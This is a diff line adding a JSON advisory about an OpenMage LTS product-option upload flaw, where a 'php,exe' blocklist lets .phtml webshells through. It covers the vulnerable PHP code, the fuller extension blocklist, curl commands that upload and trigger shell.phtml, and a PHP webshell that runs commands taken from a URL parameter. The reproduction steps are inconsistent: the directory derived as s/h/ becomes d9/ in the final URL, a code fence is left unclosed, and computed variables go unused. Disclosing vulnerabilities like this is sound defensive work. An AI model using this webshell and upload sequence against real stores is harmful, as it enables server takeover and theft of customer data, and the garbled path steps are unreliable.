+ "details": "The product custom option file upload in OpenMage LTS uses an incomplete blocklist (`forbidden_extensions = php,exe`) to prevent dangerous file uploads. This blocklist can be trivially bypassed by using alternative PHP-executable extensions such as `.phtml`, `.phar`, `.php3`, `.php4`, `.php5`, `.php7`, and `.pht`. Files are stored in the publicly accessible `media/custom_options/quote/` directory, which lacks server-side execution restrictions for some configurations, enabling Remote Code Execution if this directory is not explicitly denied script execution.\n\n## Affected Version\n\n- **Project:** OpenMage/magento-lts\n- **Vulnerable File:** `https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php`\n- **Vulnerable Lines:** 230-237 (`_validateUploadedFile()`)\n- **Configuration:** `app/code/core/Mage/Catalog/etc/config.xml:824`\n\n## Root Cause\n\nThe file upload handler uses `Zend_File_Transfer_Adapter_Http` directly with `ExcludeExtension` validator, referencing only:\n\n```xml\n<!-- Catalog/etc/config.xml:824 -->\n<forbidden_extensions>php,exe</forbidden_extensions>\n```\n\nThis misses the comprehensive `protected_extensions` blocklist defined elsewhere:\n\n```xml\n<!-- Core/etc/config.xml:449-478 -->\nphp, php3, php4, php5, php7, htaccess, jsp, pl, py, asp, sh, cgi, \nhtm, html, pht, phtml, shtml\n```\n\n## Vulnerable Code\n\n```php\n// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:230-237\n$_allowed = $this->_parseExtensionsString($option->getFileExtension());\nif ($_allowed !== null) {\n $upload->addValidator('Extension', false, $_allowed);\n} else {\n $_forbidden = $this->_parseExtensionsString($this->getConfigData('forbidden_extensions'));\n if ($_forbidden !== null) {\n $upload->addValidator('ExcludeExtension', false, $_forbidden); // Only blocks php,exe!\n }\n}\n```\n\n## Steps to Reproduce\n\n### 1. Environment Setup\n\nTarget: OpenMage LTS with Apache+mod_php or Apache+PHP-FPM (with .phtml handler)\n\n### 2. Exploitation\n\n\n```bash\n# Upload .phtml (bypasses blocklist)\ncurl -X POST \"https://target.com/vulnerable_upload.php\" \\\n -F \"file=@shell.phtml;filename=shell.phtml\"\n```\n\n**Result:** \n<img width=\"1563\" height=\"733\" alt=\"image\" src=\"https://github.com/user-attachments/assets/c56d43e8-364a-4402-8198-9f49a50fd691\" />\n\n### 3. Code Execution\n\nOpenMage derives the uploaded file's storage path deterministically from two values the attacker\nalready controls:\n\n**Subdirectory** — `getDispretionPath($filename)` takes the **first two characters** of the\nuploaded filename and uses them as nested directory names:\n\n```\nfilename = \"shell.phtml\" → s/ h/ → media/custom_options/quote/s/h/\n```\n\n**Filename** — `md5(file_get_contents($tmp_name))` is computed over the **raw bytes of the\nuploaded payload** (`File.php:245`):\n\n```php\n// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:245\n$fileHash = md5(file_get_contents($fileInfo['tmp_name']));\n$filePath = $dispersion . DS . $fileHash . '.' . $extension;\n```\n\nBecause the attacker writes the webshell themselves, both the filename prefix and file contents are\nknown **before the upload request is sent**. The full URL can be pre-computed:\n\n```bash\nSHELL_CONTENT='<?php echo exec(\"id\"); system($_GET[\"cmd\"]??\"id\"); ?>\\n'\nHASH=$(echo -n \"$SHELL_CONTENT\" | md5sum | cut -d' ' -f1)\nPREFIX=$(echo \"shell\" | cut -c1-2 | sed 's/./&\\//g' | tr -d '\\n' | sed 's/\\/$//') # → s/h\n\n```bash\ncurl \"https://target.com/media/custom_options/quote/d9/bb4d647f16d9e7edfe49216140de2879.phtml\"\n```\n\n**Result:** RCE Confirmed\n\n<img width=\"1559\" height=\"827\" alt=\"image\" src=\"https://github.com/user-attachments/assets/12990f06-8750-48e6-87c5-add18b9e7260\" />\n\n## Affected Deployments\n\n| Configuration | Status |\n|---------------|--------|\n| Apache + mod_php (with `php_flag engine 0`) | SAFE |\n| Apache + PHP-FPM | **VULNERABLE** |\n| Nginx (reference hardened config) | SAFE |\n| Nginx (generic config with .phtml→FPM) | **VULNERABLE** |\n\n## Impact\n\n1. **Remote Code Execution:** Full server compromise through webshell upload\n2. **Data Exfiltration:** Access to database credentials, customer PII, payment data\n3. **Lateral Movement:** Pivot to internal infrastructure\n4. **Supply Chain:** Inject malicious code into served content",
0 commit comments